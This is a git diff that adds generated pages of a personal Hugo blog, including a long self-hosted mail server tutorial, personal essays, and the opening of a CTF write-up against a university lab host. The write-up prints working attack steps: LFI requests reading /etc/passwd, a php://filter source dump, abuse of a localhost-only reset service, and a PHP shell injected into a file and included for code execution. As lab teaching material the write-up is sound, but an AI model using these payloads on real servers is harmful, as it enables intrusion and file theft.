    +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
    +=NPxh
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/how_I_am_doing.md.asc
    +gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/index.html b/public-onion/posts/index.html new file mode 100644 index 0000000..4c1d9e4 --- /dev/null +++ b/public-onion/posts/index.html @@ -0,0 +1,565 @@ + + + + + + + +Posts | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    H3ll0 Fr1end +

    +
    +
    +

    Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well. +...

    +
    +
    May 2, 2026 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Blackout +

    +
    +
    +

    Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again. +...

    +
    +
    January 26, 2026 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    2025 Highlight +

    +
    +
    +

    I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. +...

    +
    +
    January 5, 2026 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Seeing the "Light" +

    +
    +
    +

    I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. +Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. +...

    +
    +
    December 25, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    How am I doing? +

    +
    +
    +

    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I’m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it’s draining me. Draining me of happiness, being in pursuit of happyness. +Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. +...

    +
    +
    December 15, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Setting Boundries +

    +
    +
    +

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words. +...

    +
    +
    December 4, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/posts/index.xml b/public-onion/posts/index.xml new file mode 100644 index 0000000..5b8e079 --- /dev/null +++ b/public-onion/posts/index.xml @@ -0,0 +1,5949 @@ + + + + Posts on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/ + Recent content in Posts on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +
